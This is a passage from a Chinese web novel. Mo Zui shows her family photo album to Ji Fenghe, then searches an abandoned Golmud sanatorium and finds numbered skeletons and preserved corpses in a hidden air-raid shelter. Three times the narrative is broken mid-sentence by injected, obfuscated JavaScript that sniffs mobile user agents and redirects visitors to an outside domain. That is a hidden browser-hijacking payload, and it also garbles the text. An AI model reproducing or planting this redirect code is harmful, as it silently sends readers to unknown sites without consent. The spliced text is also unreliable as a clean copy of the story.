季风禾带着她绕过室内喷泉,经过酒店前台,又穿过一条走廊,到达最尽头的电梯厅。电梯门开合的功夫,身后大堂传来吵闹的声音,像是保安拦住了要往里冲的人。电梯门缓缓打开,莫醉头也不回走入电梯,等到反光的电梯门上映出她的身影时,终于松了一口气。 季风禾刷了卡,自动跳转了层数。他侧眸看着身边大口呼吸的人,皱眉道:“在高原跑成这样,你不要命了?” 莫醉紧紧抓住季风禾的手,用力平息气息,半晌才咬牙道:“茫崖海拔也不低,我住了这么多年,不也没关系吗?” 可你到底不是茫崖人。季风禾将这句话咽下,换成另外一个问题:“所以发生了什么?” 莫醉抽出与他交握在一起的手,顺嘴编了个谎话搪塞:“格尔木要办马拉松,我在为比赛做准备。” 季风禾几乎要被气笑:“莫小姐,我帮了你,连句真话都换不到吗?” 14.相册 莫醉心生愧意,自我反省,发觉自己确实有点狼心狗肺不是东西。她抓抓头发,正琢磨着如何找回良心,电梯停住,季风禾住的楼层到达。 “去房间给你解释。”莫醉面上极为诚恳,像是深刻意识到错误,心中想的却是无论如何先混进季风禾的房间,至少是个相对安全的地方。 季风禾装作看不懂她的那点小心思:“行。” 一个字,言简意赅,听着冷淡,落在莫醉耳中,莫名带着几分高高在上的……傲娇。 季风禾的房间在酒店顶层,房号8888,莫醉跟在他的身后进屋,入目是比盛唐旅馆大堂还要大的会客厅,后知后觉意识到,这是酒店的总统套房。莫醉人生第一次进总统套房,眼睛四处乱瞅,发自内心感叹:“有钱可真好。” 季风禾没搭理她,取了瓶简易氧气和葡萄糖,回身时莫醉还站在门前,一直没动。 “过来。”季风禾说。 刚刚肾上腺素飙升强行屏蔽身体的不适,此刻进入安全区,缓过劲儿来,莫醉头昏脑胀双腿发麻,眼前光影晃动,像是吃了毒蘑菇。她咧了咧嘴,半步不动:“咱俩又不熟,这多不好意思,我站这儿就行了。” 莫醉肤色本就苍白,此刻更是不见丝毫血色,嘴唇又青又紫,额角碎发濡湿,偏一张嘴硬得像鸭子。季风禾挑眉:“走不动了?” “那哪儿能啊!”莫醉咬紧牙关,向着前方模糊的人影走,到跟前时故作轻松,“叫我干嘛?” 季风禾将氧气瓶拼装好,扣在她的口鼻上按了几下。莫醉不自觉跟着他的节奏深吸几口气,视线终于清晰。她接过氧气瓶,又按了几下,嘀嘀咕咕:“没想到我也有需要这玩意儿的一天。平常都是我掏出来给客人的。” 季风禾没搭理她,把掰开的葡萄糖塞到她手里,看着她喝下去后唇色逐渐恢复,不需要拨打120了,才放下心来。他把外套脱下,搭在一旁的椅子上,绕过她到不远处的沙发上坐下,姿态闲适:“说吧。” 莫醉又吸了几口氧,终于能重新控制身体,心思也活络起来。她将手中的东西随手搁在一旁的柜子上,磨磨蹭蹭走到季风禾面前茶几对面,眼睛滴溜溜一转,一言不发开始拉冲锋衣的拉链。她以为季风禾会挪开目光避让,但他偏偏眼睛一眨不眨,盯着她的每一个动作,像是真的想看她脱衣服。 这人这么盯着看,她怎么藏相册!要是不转移相册,腰前竖着块铁板似的东西,根本坐不下,难道要一直站着吗! 莫醉先败下阵来,放弃抵抗,拽出藏在衣服里的相册,扔到桌面上。 黑色大理石桌面平整又光滑,粉色的相册在桌面上滑动几十厘米,正好停在季风禾面前。季风禾没动:“他们追你就是为了这个?” 莫醉整理好衣裳,大剌剌坐到地毯上:“说实话,我不知道他们为什么追我,但应该不是因为这本相册。”她怕他又觉得敷衍,微微前倾身体,努力让表情看起来更真诚,“我小时候在格尔木住过几年,刚刚去的地方就是以前的住处。那房子都被翻烂了,这相册就在角落放着,估计是他们看不上的,我顺手拿回来怀旧。结果我刚离开屋子,一群人呼啦啦地冲着我来,要是你你不跑吗?我顺手抢了他们的摩托,本来想着开回我停车的地方,但雪天路太滑了,他们追得又紧。我怕没被他们追上倒先摔死,只能弃车往人多的地儿跑,然后就遇到你了。” 莫醉手舞足蹈,试图将情况的危机多表达出几分。季风禾安静听着,精准抓住话中的漏洞:“你以前经常被人追?” 莫醉眨眨眼:“……偶尔?” “偶尔被人追,但是不知道为什么被人追。”季风禾哂笑,“莫小姐,你不适合编故事。” 莫醉嘴角抽搐:“爱信不信。” 季风禾未接话,莫醉也懒得多解释。屋内安静下来,只有酒店上了年纪的中央空调,发出白噪音似的细微轰鸣。 室内气温二十六度,是最舒适也是最容易让人卸下防备、生出困意的温度。莫醉歪着头看窗外,视线落在远处的雪山上,神情再不似刚刚般紧绷,面部肌肉同身体肌肉一般慢慢松弛下来。季风禾的目光在她的身上停了一会儿,片刻后不着痕迹滑开,在桌上泛黄的粉红色相册上顿住。 他坐直身体,伸出手去碰相册,指尖似能触到外壳上残存的体温。他滞了一瞬,若无其事翻开相册。 莫醉听到这声音,回过神来,窸窸窣窣起身,凑到季风禾身旁,跟着看这本相册。 在老房子里时光线昏暗,时间又匆忙,莫醉草草翻过,没太大的感受,此刻看着照片中曾经无比鲜活的人,思念、伤怀、茫然混杂在一起,眼睫微微颤动着,遮掩着心中的情绪。 季风禾一张一张看得缓慢,指着其中一张合影问:“这是你和你的父母?” 照片上的小女孩正在过一岁生日,眨着两个小啾啾,眼睛又大又圆,几乎只能看到黑色的瞳仁。她看着镜头笑得开怀,面前放着生日蛋糕,蛋糕上唯一的一根蜡烛正在燃烧。她的身后站着两个人,是一对二十多岁的年轻男女,穿着打扮都是那个年代最时髦的样式,眼中全是温柔和宠溺,显然是孩子的父母。 莫醉轻轻“嗯”了一声,又指着一旁另一张照片:“这是我的祖母。三岁前,我和祖母住在格尔木的老院子里,我爸妈在外地打工,逢年过节,还有我的生日才会赶回来。” “你哥莫仲磊呢?怎么没看到他的照片?”季风禾试探地问。 “我哥小时候不喜欢拍照。”莫醉毫不犹豫撒谎。 “你爸妈他们现在在什么地方?” 莫醉顿了一瞬,再开口时声音淡了几分:“死了。他们死了好多年了。我奶奶也死了,三四年前的事儿。” “抱歉。”季风禾不再多问,将相册向莫醉的方向推了几分。 “没关系。时间过去太久了,我早就没关系了。我都快记不清他们的模样了。”莫醉垂下眼睛,看着照片中曾经有温度的亲人,停了几秒,开始往后翻。她翻动的速度比季风禾要快上许多,只草草看过照片中的人和物,并不想回忆照片背后的故事,直到翻到祖母年轻时的照片,速度才逐渐放慢。 相册排插照片的方式是倒叙,祖母随照片的翻动逐渐变得年轻模糊。前面几页的照片仍旧是彩色的,贯穿祖母的三十多岁到五十多岁。那时候她还没出生,照片的主角只有祖母和父亲,以及去世多年,莫醉从未真实见过的祖父。 最开始的照片大都是在老院子中拍摄的,又或者是过去的格尔木城中。父亲二十岁左右的年纪,与祖母并排站着,笑得开怀。后面几张祖父开始出现在镜头中,时间是1980年左右,照片背景大多是照相馆,或是自家的老院子。那时父亲还是个十几岁的少年,祖母和祖父亦正当壮年。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455425|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再往后的照片没了色彩,成了泛黄的黑白照片。照片记录了父亲从出生到八九岁的年纪。那时照片珍贵,每年只拍几张,大都是在照相馆中拍摄,从背景中看不出什么。 直到整个相册的最后一张。 那是张六个人的合影,照片中的人三男三女,都是二十多岁的年纪,穿着差不多的衣裳。祖母站在这群人的最中间,头发是齐耳短发。她的左侧是个年轻男人,年轻男人的左侧是个年轻女人。女人的肢体向身边男人倾斜着,俩人应当是夫妻或是情侣的关系。祖母的右侧是个年轻女人,与祖母手挽着手,姿态亲密,应该是祖母的闺蜜。祖母闺蜜的右侧应当是她的爱人,双手搭在她的肩头,毫不避讳镜头。站在六人中最右侧的是年轻时的祖父。 这六个人瞧着像三对情侣或是夫妻。 照片的背景是一条热闹的街道,看不出是什么地方,但莫醉下意识觉得,这里不是格尔木。 她将照片从发脆的塑料薄纸后取出,翻到背面时看到一行模糊的字迹。 “1967年,摄于新居。” 1967年,祖母22岁。 祖母出生时,国内并未建立完善的户籍制度。后来制度建立,祖母为自己填写的出生年份是1945年。莫醉看过祖母的档案,她的第一条记录出现在1965年,但那条记录并未留下太多信息,仿佛只是记录了这个国家有这么一个人。她的第一条带着住址的记录出现在1970年,那时她已迁入格尔木,档案中留下的地址正是她儿时住过的老院子。 祖母的前半生没留下任何文字信息,亦未对晚辈们提起太多。莫醉不知道祖母是在哪里出生的,又是在哪里长大的,更不知道这1967年的新居,究竟是在哪里。 莫醉有预感,这张照片背后定藏着一个巨大的秘密。可她对祖母的过去所知甚少,如今秘密的大门就在她的眼前,她却连锁在哪里都找不到。 季风禾从莫醉的手中抽出照片,看了几秒后道:“冷湖石油小镇。” 莫醉愣住,嘴比脑子先动:“你怎么知道?” 季风禾的手指点了点照片边角:“这里。” 莫醉凑近几分,脸几乎要贴到照片上,才看到季风禾所说的东西。 那应该是个走街串巷的货郎误入照相机拍摄的范围,匆匆离开时,还是被照相机拍到自行车的半个轮子,以及后座上拴着的货箱。货箱上有几个字,落在老旧黑白照片中比芝麻还要小,“冷湖油矿”。 莫醉猛然转头,眼角眉梢都是喜气:“老板,你不会就是葫芦娃中的二娃,有千里眼的那个——” 她的话只说了半截,眉眼间喜悦还未散尽,便随身体一起冻结在原地。 不知何时,二人竟靠得这么近。季风禾的脸就在她的眼前,只隔着几厘米的距离,她能清晰看到他的每一根眉毛,每一根睫毛……以及他耳垂上的那颗小痣。她盯着那颗小痣看了半晌,心脏像是被土豆的皮毛蹭过,又麻又痒。 季风禾侧头,盯着莫醉的眼看了一会儿,喉结上下滚动,微微向后仰了些,自然而然拉开二人间过于越界的距离。 他的动作惊醒了莫醉,她赶忙将屁股挪远几分,恨不能坐到沙发的最尽头。再抬眼时,触到季风禾写满“你至于吗”的目光,尴尬地清了清嗓子,随意抓了个打破尴尬的问题:“老板,你怎么突然来格尔木了啊?” 15.疗养院 从见到季风禾开始,莫醉就好奇他为什么会出现在这里。 算算时间,他半个月前才进出过罗布泊,现在又来格尔木,难道是要去隔壁的可可西里?大西北风景虽好,无人区虽然神秘,也用不着这么赶行程吧? 况且,他的未婚妻半个月前受了重伤,他不留在未婚妻身边照顾,挽回芳心,来大西北瞎折腾什么? 季风禾垂着眼睛,慢条斯理将照片塞回相册中,动作优雅细致,并未立刻回答莫醉的问题。莫醉明明在等他的答案,目光却不自觉被他的动作吸引,盯着捏照片的手指,和手背上凸起的青筋,半晌挪不开目光。 相册合上的轻响吓了莫醉一跳,终结了这份出神。再抬眼,正好对上季风禾似笑非笑的眼。 莫醉毫无被抓包的尴尬,嘟嘟囔囔:“不想说就算了。” “陪蔡思韵来的。”季风禾的回答同时响起。 莫醉用了三秒才想起蔡思韵是谁,惊讶地问:“她怎么来了格尔木?她不是应该在医院吗?她现在在哪?” “她的伤不严重,只住了几天院。前几天她坚持要来格尔木见网友,她的家里不放心,托我同行照顾。一个小时前她出发去约定的地方。” “来格尔木见网友?”莫醉不敢置信重复一遍,见季风禾不反驳,更加纳闷,“你还让她一个人去?你不怕对方是骗子,她遇到什么危险吗?” “边洛阳和她一起去的,就算是骗子,应该也不会有什么危险。”季风禾语气平静。 蔡思韵和男朋友一起来格尔木见网友,家里不放心,让她的未婚夫季风禾跟着,季风禾还真的乖乖来了,并且放心地让这二人一起出行。 这剧情若出现在电视剧里,她都要嘲讽几句狗血离谱,没想到竟然能出现在现实生活中。 莫醉八卦之魂死灰复燃,忍不住凑近几分鬼鬼祟祟:“老板,采访一下啊,你是不是特别享受这种复杂的三角关系?这种关系是不是更能激发你心底深处的欲望,让你沉溺其中欲罢不能?你作为正宫,站在道德的至高点上,看着蔡思韵和边洛阳亲亲我我,心中难过,但又控制不住自己,只能自虐式地跟随,等着蔡思韵不知何时的回头,而你恰好就在她的身后——”她摸摸下巴,眯起眼睛,“这剧情很阴湿很虐恋啊!老板,你好这口啊?” 季风禾像是在听别人的故事,事不关己冷静点评:“想象力很丰富。” 莫醉心中一动,忍不住细细看他。 他的表情太过平静,深褐色的瞳仁似笼着薄雾,莫醉猜不出他的想法,也瞧不见半点掩饰和伪装。 难道他和蔡思韵是表面夫妻?私下里各玩各的?听说有钱人似乎经常搞这些乌七八糟的,他难道也是这种人? 季风禾坦然接受莫醉的打量,懒得纠正她脑中那些匪夷所思的想法,心中想的是另外的事。 俩人各怀鬼胎,许久没说话,直到季风禾搁在桌上的手机屏幕亮起,手机震动敲打着大理石桌面,细碎声响被放大,诡异的安静才被终结。 莫醉伸着脖子瞥了一眼,是蔡思韵打来的。 季风禾接起电话,几秒后眉头皱起,再几秒后将扬声器打开。 装作毫不在意、没有偷听的莫醉立刻挪到季风禾身边,凑近手机扬声器。 细弱的呼吸声,杂乱的脚步声,夹杂着若有似无的呜咽。信号断断续续,声音不连贯,无法判断发生了什么。季风禾沉声问:“你在哪?发生了什么?” 电话那边无人应答,呼吸愈发急促。突然,通话被挂断,自始至终,对面未说一个字。 莫醉收敛起眉眼间的玩笑:“她有没有和你提过今天约定的地点?或者留下网友的联系方式?” “只提过一句格尔木疗养院。” 莫醉若有所思:“不会是某书的粉丝约会吧?”见季风禾似乎对此一无所知,莫醉简单解释,“就是有本很著名的小说,里面有一个重要场景是格尔木疗养院,所以每年都会有许多小说粉丝来打卡。那个疗养院废弃多年,这些年已经彻底封闭,用水泥封住大门,但还是有人走小道,或者翻墙,千方百计进去打卡。”她顿了顿,再次解释,“老板,粉丝的意思你知道吧?就是英文fans的中文音译。打卡你知道吗?打卡就是——” “莫醉。”季风禾沉着声音喊她的名字,“我上网的。” 莫醉一副“我都懂”的模样,季风禾眯了眯眼,倒也懒得解释。 握在手里的手机再次震动,这次是一条短信,只有三个字母,“sos”。 “报警吧。”莫醉看清内容后建议,“格尔木疗养院面积不小,想要快速找到这群人太难了。而且我觉得他们应该不在疗养院里,那个地方虽然荒废了,但好歹在格尔木城中,信号不至于这么差。刚刚电话里声音断断续续的,像是在一个完全封闭的地方,比如地下停车场,或者电梯之类的。寻求警察叔叔帮助,是最快的、最安全的方式。” 季风禾与莫醉意见相同。他给蔡思韵回了条短信,两分钟后没等到回信,立刻打电话报警。将来龙去脉同电话对面的警察讲清楚后,他决定亲自去一趟传说中的格尔木疗养院。 挂断电话,他看向坐在沙发上的莫醉:“你是留在这休息,还是一起去?” 莫醉没有任何犹豫,站起身,意思明了:“走吧,当作报答你今日‘救命’之恩。” - 季风禾开车离开酒店地下停车场时,莫醉缩着身子躲在后座下不敢冒头,直到开出几百米后,才试探着起身,跪在后座上,用靠枕遮掩着,鬼鬼祟祟向后方看。 酒店出入口附近果然有人东张西望地蹲着,隔得太远看不清五官,看穿着确实像刚刚追她的人。 季风禾瞥了一眼后视镜,语气笃定:“大雪天还在蹲你,他们想要的东西怕是不简单。” 莫醉叹了口气,心情和阴沉的天气一样糟糕:“就怕他们想要的不是一件东西。” 后视镜上照出莫醉不加防备的无奈眼神,季风禾盯着看了几秒,若无其事挪开目光,不再多问。 疗养院在格尔木东边,距离季风禾暂住的酒店四五公里的距离。雪天路滑,季风禾求稳不求快,二十多分钟后到达,停在疗养院附近的路边。俩人下车时,被水泥封死的疗养院门口站了不少警察,季风禾先靠近询问,莫醉站在车旁将周围环境尽收眼底后,才慢吞吞挪到季风禾身后,正好听到警察描述现在的情况。 “……你提供的手机号经过定位,信号最后出现的地点确实是疗养院。我们在雪地中发现四组进入疗养院废弃大楼的脚印,但并没在楼中找到他们。这四个人应该是已经离开。目前我们正在附近走访,调取监控,寻找这群人的踪迹。” 警察将情况说完后,转身离开。莫醉悄悄看季风禾,见他脸上依旧没有太多焦急的神色,更加确定季风禾和蔡思韵属于“有钱的未婚夫妻各玩各的”。 “你要怎么办?”莫醉问季风禾。 季风禾反问:“你有什么想法?” 你找你的婚姻搭子,我能有什么想法?莫醉按下心中的嘀咕,指指一旁的水泥墙:“我的想法是,进去。”她向着季风禾的方向倾斜身体,压低声音,“我总觉得这个疗养院里有蹊跷。” 季风禾点头,去和警察交涉,警察虽有疑惑,还是应允了他们的要求。 疗养院的正门被水泥封着,隐蔽处的侧门却还能通过。莫醉和季风禾跟在带路警察身后,穿过布满锈迹的棕褐色铁片门,大摇大摆走进废弃多年的格尔木疗养院。 疗养院建立于几十年前,建筑风格古旧。院子被积雪覆盖,雪上密密麻麻全是脚印。院子两侧依墙而立两排平房,屋顶残缺门窗皆无,房间内堆满垃圾。院子尽头处是呈工字形结构的主楼,前方是二层的门诊楼,后方是三层的住院楼,两楼间以回廊链接。门诊楼大门顶部的红十字标识早已褪色,不复曾经的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465336|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜艳;门框和门前圆柱上贴着朱红色小块瓷砖,亦残缺泛黄。 莫醉问带路的警察:“这医院有地下停车场吗?” “这医院建在上个世纪五六十年代,那时候整个格尔木都没几辆汽车,怎么可能会特别建停车场?更别提地下停车场了。” 几人走到门诊楼大门外的时候,带路警察手机响起。他的视线紧盯手机屏幕,随口叮嘱二人:“我就不陪你们进去了,你们转一圈就出来,别磨蹭。” 说完,他走向角落去接电话,竟真的将废弃的大楼留给二人。 废弃疗养院大楼里落针可闻,四处堆积着经年的垃圾。门口处粉底白点的地砖被雪水打湿,与灰尘泥土混杂在一起,又脏又滑。开药挂号的柜台倒塌大半,柜台里侧的木头橱柜橱门大敞着,残留着药品模样的垃圾。大厅里布满湿漉漉的脏脚印,向四面八方延伸,有的往东有的往西,有的穿过后门往后面的住院楼去,一时无法分辨哪些是警察留下的,哪些是蔡思韵一行人留下的。 莫醉走到大厅尽头的走廊,站在中心处向左右两侧看去。无窗无灯的走廊昏暗阴森,只尽头处的大门透出微弱亮光。莫醉借着这点光亮,看到左侧走廊尽头的木门顶上镶嵌着一盏灰扑扑的红灯,像是老旧手术室的模样;右侧走廊尽头亮光更盛,似乎是楼梯间。 她毫不犹豫向右侧走。 楼梯间深绿色扶手油漆斑驳,可见锈裂的缺口,莫醉踩过堆积的垃圾,里里外外看了一圈,没瞧见她想找的东西后,头也不回转身离开。 季风禾一直站在门口,见她要离开,指了指上行的楼梯:“不上去看看?” “没必要。楼梯上有脚印,警察们肯定都去过了。而且,我还是觉得他们应该呆在地下室之类的地方。这么大个医院,总应该有个地下室,有可能存放资料,有可能安置尸体。我们去那里找找,或许能有发现。” 季风禾不置可否,跟在她的身后,直到二人走入连通前后楼的走廊时,突然开口问:“你感觉他们还在疗养院里吗?” 莫醉脚步一顿,警惕不少:“那我哪儿知道?蔡思韵是你的未婚妻,你不是应该更心有灵犀吗?” 季风禾轻笑一声,不再说话。 莫醉抿紧嘴唇,猜测着季风禾这句话究竟是有意还是无意,脑海中闪过刚刚在疗养院门外时的情景。 她确实能感知到一定范围内的活人,但这能力在城市里着实派不上什么用处。城市里的活人太多了,站在城市中任意一个地方,方圆十公里内都至少几千个活人,遍布在四面八方。就比如在疗养院门口时,她知道这几千个人都活着,可他们之间的间隔太近,信息太杂,让她无法具体分辨每个人距离她有多远,以及更细微的方向。 走廊大概二三十米长,穿过后便是住院部。住院部一层的大厅两侧是墙,比门诊楼一层大厅更小巧、昏暗。地上脚印依旧杂乱,莫醉打开手机自带的手电,在扩散的光束下打量四周。 这里的一层也有走廊,与门诊部不同的是,走廊两侧尽头连接的都是楼梯间。莫醉先去了左侧的楼梯间,没有任何发现后,而后径直往右侧楼梯间走,终于发现了她一直想找的通往地下室的楼梯。 莫醉一秒都没犹豫,和季风禾一前一后向下走了半层,被一扇铁门拦住去路。铁门上悬挂着铁锁,乍一看是合拢状态,再一看锁确实锁着,可拴锁的门插早就锈成两截,无需开锁,就能开门。 莫醉利落将门拉开。 铁门震动的声响在楼梯间里反复回荡,尖锐又阴森。多年未上油的门轴倒是意外的润滑,没发出半点声响。莫醉将手电光对准脚下楼梯,见楼梯上的脚印明显比外面稀松,叹道:“我猜警察没有打开这扇门。” 季风禾绕到莫醉前方,蹲下身子看了一会儿,指着几个浅淡残缺的脚印道:“我更好奇这些脚印是谁的。看大小是同一个人的,来来回回走了不止一趟。他这是要做什么?” 16.防空洞 莫醉看向季风禾所指的方向。 楼梯上积着厚厚的沙尘,中间处鞋印糊成一团极为杂乱,鞋底花纹各不相同,像是一群人一起通过,可能是蔡思韵一行四人。两侧处散落着深浅不一的残缺鞋印,鞋底花纹一模一样,显然出自同一双鞋子,同一个人,只是来自不同的时间。 莫醉数了数边缘处相同花纹鞋印的数量,再粗略加上被蔡思韵四人鞋印所遮掩掉的,认为季风禾估算的还是保守了。 这人恐怕来来回回不止几趟,十几趟,而是在漫长的时间里,定期来到此处,往返百余次。 莫醉心中警惕,拍拍季风禾的胳膊,伸出食指竖在唇边,示意他不要再说话,又指指脚下的路,提醒他放轻脚步。见季风禾点头,莫醉放下心来,越过他走前方探路,胳膊却被他拉住。 莫醉递给他一个疑问的眼神,季风禾口唇轻启,回了她无声的四个字,“我是男人”。 ……男人就要走在前面?你这是搞性别歧视呢? 莫醉挑眉,不和他争辩,只等他遇到危险,踩着七彩祥云登场,亮瞎他的眼,用事实教会他到底谁该走在前面。 二人继续向下走。 莫醉落后季风禾两三个台阶,避免视线被遮挡。楼梯间里落针可闻,细微的脚步声在空荡的楼梯间反复回荡,无形中被放大数倍。二人转过两个弯儿到达最底层,面前出现一扇虚掩着的木门。 木门款式老旧,表层淡黄色的油漆斑驳开裂。门的上半部分镶嵌着一块玻璃,被报纸严严实实糊住,看不清房间里的模样。报纸泛黄,日期被遮住,醒目处是北京申奥成功的新闻。 这是2001年的报纸。 疗养院废弃于上个世纪六十年代,这里却出现了几十年后、二十世纪初的报纸。这意味着至少在2001年时,这里还有人来过,或许就是杂乱脚印的拥有者。 木门没锁,推开后扑面而来的灰尘和掺杂着腐败气息的古旧木头气味冲击着莫醉的嗅觉。莫醉微微皱眉,屏住呼吸缓和几秒后,走入房间。 房间纵深约三四十米,横向十多米。地面铺陈着老旧的红棕色地板,整齐摆放着一排排书架。书架空空荡荡,侧面白色油漆写的数字尚未褪色,应该是书架的编码。 莫醉的视线毫无阻碍穿过空荡的书架,直达房间尽头斑驳的墙壁,未发现任何人的身影。 木质地板已然松动,踩踏上去不可避免发出吱呀吱呀的轻响,莫醉索性放开动作。 地上脚印杂乱无章,在书架间穿梭,路线各不相同,最终汇聚在房间尽头的角落,戛然而止突然消失。莫醉蹲下身子,将手电光凑近,隐约瞧见地板上的几个手指印。她曲起指节敲击地板,声响空洞。地板下是空的。 季风禾不知从哪儿捡了块薄木片,探入木板间的缝隙,微微使力,几块连接在一起的地板被撬起一角,掀开后露出一个可供一人通过的地洞。洞口处搭着个不锈钢软梯,可供人上下进出。 莫醉将手电光挪到洞口。 光束向下延伸两三米后触及洞底。洞底连接一条狭窄通道,通向未知的地方。季风禾不等莫醉动作,扶着梯子三两步跃下。莫醉很想直接跳下去给他一点震撼,但洞内空间狭窄,没有足够的空间卸力,只能遗憾放弃这个酷炫的方式,老老实实攀着梯子,紧随其后。 洞底的通道两三米长,尽头处是一扇可以翻转、轴在中心的厚重铁门,一次只能通过一人。莫醉站稳时,季风禾已推开一侧铁门,回身确认她一切安好后,并未等她靠近,径直走入门中,身影消失在铁门翻转间。 地洞狭窄,四周明显无藏匿的危险。俩人若磨磨蹭蹭,除了让这里变得拥挤外,没有任何益处。若她走在前面,也会是这个选择。莫醉本没将这事放在心上,直到她推开铁门后,门后空无一人。 季风禾不见了。 一个活生生的成年男人在门开合的短短几秒钟时间里,凭空消失了。 还有比这更诡异的事吗? 铁门后是一条幽深的宽敞甬道,像是很多年前建造的防空洞。防空洞由石块堆砌而成,侧面墙壁凹凸不平。顶部呈圆弧形,涂抹的腻子已斑驳脱落。地面是粗糙的水泥地面,辨不出脚印或其他的痕迹。 防空洞一眼望不到头,前方的黑暗如无底洞,吞噬着手电的灯光。在可以照清的范围内,莫醉看不到季风禾的身影。除非他能瞬间移动,不然如何在这几秒的时间内,消失不见,且未发出任何声响、任何示警? 还是说,这里存在着陌生第三方,有着能让一个成年男子无法反抗,连一秒都对抗不了的可怕能力。 莫醉的心瞬间沉入海底。 一直被过多活人所干扰的嗅觉在寂静空旷的防空洞中突然清晰起来,莫醉能清晰感觉到,四周存在不止一个活人,只是不知是否是蔡思韵等人。 季风禾的突然消失,让莫醉决定返回档案室,离开废弃大楼寻求帮助。她转身去推来时的铁门,门却已然被锁死,像是一堵墙似的,无法推动分毫。 她回不去了。 莫醉停顿一瞬,做了决定。她关掉手电筒,节省手机电量,提起一万分小心警惕,放轻脚步,在黑暗中向未知快速前行。 防空洞位于地下,阴气袭人。通道似乎是下坡,越往前走,湿气越重。莫醉不怕黑也不怕鬼,依旧惴惴不安,浑身上下的每一个细胞每一根汗毛都被调动,紧张程度不亚于几个小时前被人追击。她走了近百米,面前再次出现一扇门。 这是一扇由两面石板制成的中开门,门板未合严,中间有一条可供一人侧身通过的狭窄缝隙。莫醉走到跟前,发现石头门板后悬挂着脏兮兮的棉被,像是北方入冬后,商场悬挂在大门口,用来遮挡风雪和保温的物件。 掀开棉被后,莫醉仿佛进入另外一个世界。 明明还是简陋的防空洞,顶部却安装着白炽灯,将黑暗的地下照得亮如白昼。防空洞大概三四十米长,两侧立着一扇又一扇的铁门,门的顶部有巴掌大的通风口,通风口竖着几根铁栏杆,像是牢狱风主题酒店。 莫醉愈发警惕,小心翼翼靠近第一扇门,透过窗子向内看。 第一间房间是宿舍的模样,有床有桌子。桌上有桶装方便面,已被打开,不知道吃没吃完。床上的被褥散乱堆着,枕头上有黄色的油污,是个男人的房间。对面的第二件房间摆着一些装着医疗消耗品的箱子,箱子上落着灰,似乎很久没有打开过。 莫醉走向第三间房间。 第三个房间中立着七八个五层的架子,每一层上都摆着一副白骨。莫醉眸色一沉,将手腕上的牛皮手链取下,抽出其中藏着的铁丝,对准锁眼□□几下,三下五除二撬开门锁走入房间中,细细查看白骨。 莫醉没学过医学也没学过法医学,自然看不出这些人究竟是怎么死的,只能大概扫过每一副白骨,见有的骨头上有断裂的痕迹,有的却是周身完整,每一副白骨的情况都不相同。 铁架每一层角落都贴着一个小小的标签,上面写的内容相似却不相同,都是一个“神”字加一串数字,像是每一副白骨的编码身份。 房间中除了铁架和白骨,没有任何物件,莫醉不再逗留,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477282|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着满腹疑团,去了第四个房间。 这个房间中的东西与第三个房间大致相同,只是铁架和白骨的数量减少许多,只有两个架子,六副白骨。房间中白骨的编号方式与上一个房间不同,是一个“边”字加一串数字。 第五个房间依旧如此,房间中摆着十三副白骨,白骨的编码为“望”字加数字。 莫醉突然明白了什么,愣在原地。 - 莫醉原名望长安,随父姓,而父亲的“望”姓则是来自祖母。 祖母死后,她被追杀一年,悟出一个道理,追杀她的人必然有特别的手段,可以通过她的身份证,手机定位,或者只是一个名字,找寻到她。她为了躲避这群人的追寻,决定放弃作为“望长安”的一切,包括这个名字。 她坐着黑车一路碾转,终于到达敦煌。她带着一麻袋现金,找黑车行买了辆二手皮卡,一人一车进入罗布泊,遇到了被困的莫家父子。之后,莫仲磊感念她的救命之恩,给她编了个身份,为她办了新的手机号,以他的名字开了一个银行账户给她,甚至还为她搞到一张假的身份证。 之后,她便以莫醉的身份,生活了三年。 “望”这个字彻底消失在她的生活中,连午夜梦回都不曾再想起。 直到今日。 所以“神”“边”和“望”,不是什么特别的标记,极有可能是这些尸骨的姓氏。这些人究竟是谁?尸体为什么会在这里?这三个姓氏之间又有什么联系?莫醉感觉像是站在一片迷雾中,入目皆是白茫茫的白絮,看不见来路,也瞧不见未来。 莫醉用手机将房间里的标签拍照保存,而后带着沉重的心情离开,进入第六个房间。 第六个房间与前三个房间不同,房间里堆着几口棺材,棺材上贴着“神”家的标签。棺材是密封的,无法打开,棺材盖由透明玻璃制成,可清晰看到其中摆放着的干尸,与半个月前在雅丹顶上看到的差不多相同。棺材盖角落有两个数字圆盘,显示的数字是棺材内的温度和湿度。 这些干尸似乎是被人精心保存的。 第七个房间与第六个房间相同,棺材数量少了一半,贴着“望”家的标签。 莫醉没找到存放“边”家棺材的房间。 后面的几个房间,有的像手术室,有的像病房。房间中布满蛛网和灰尘,已经许久未有人用过。手术室中,堆放着莫醉看不懂的机器和器材,莫醉用视频详细记录,不多停留。 